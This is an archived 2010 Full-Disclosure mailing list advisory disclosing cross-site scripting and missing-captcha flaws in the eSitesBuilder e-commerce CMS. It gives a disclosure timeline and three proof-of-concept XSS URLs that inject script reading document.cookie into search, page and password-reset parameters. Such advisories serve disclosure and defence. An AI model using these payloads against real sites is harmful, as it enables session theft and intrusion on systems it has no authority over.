| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <008e01cb0fdd$bb27fc20$010000c0@ml> Date: Sat, 19 Jun 2010 21:31:22 +0300 From: "MustLive" <mustlive@...security.com.ua> To: <full-disclosure@...ts.grok.org.uk> Subject: Vulnerabilities in eSitesBuilder Hello Full-Disclosure! I want to warn you about security vulnerabilities in eSitesBuilder. It's Ukrainian CMS which used particularly for e-commerce sites. These vulnerabilities I found in 2007-2008 years at one online shop site (and later I found some of these vulnerabilities at another site on this engine). And recently I found, that this engine for online shops - it's eSitesBuilder. ----------------------------- Advisory: Vulnerabilities in eSitesBuilder ----------------------------- URL: http://websecurity.com.ua/4300/ ----------------------------- Affected products: possibly all versions of eSitesBuilder. ----------------------------- Timeline: 21.11.2007 - found some of these vulnerabilities. 11.08.2008 - announced at my site. 11.08.2008 - informed admins of web site. 11.08.2008 - found others of these vulnerabilities. 11.02.2009 - disclosed at my site about first vulnerabilities. 05.05.2009 - disclosed at my site about other vulnerabilities. 06.05.2009 - informed admins of web site about other vulnerabilities. 18.06.2010 - disclosed at my site about vulnerabilities in eSitesBuilder (after I found that they concerned with eSitesBuilder). 19.06.2010 - informed developers (in case if owners of vulnerable site didn't informed them in previous years). ----------------------------- Details: These are Cross-Site Scripting and Insufficient Anti-automation vulnerabilities. XSS: http://site/index.php?page=search&search_text=%3Cscript%3Ealert(document.cookie)%3C/script%3E http://site/index.php?page=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://site/forget.php?e_mail=%3Cscript%3Ealert(document.cookie)%3C/script%3E&seenform=y Insufficient Anti-automation: http://site/register.php http://site/ru/contacts/index.html In registration form and in contact form there is no protection from automated requests (captcha). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists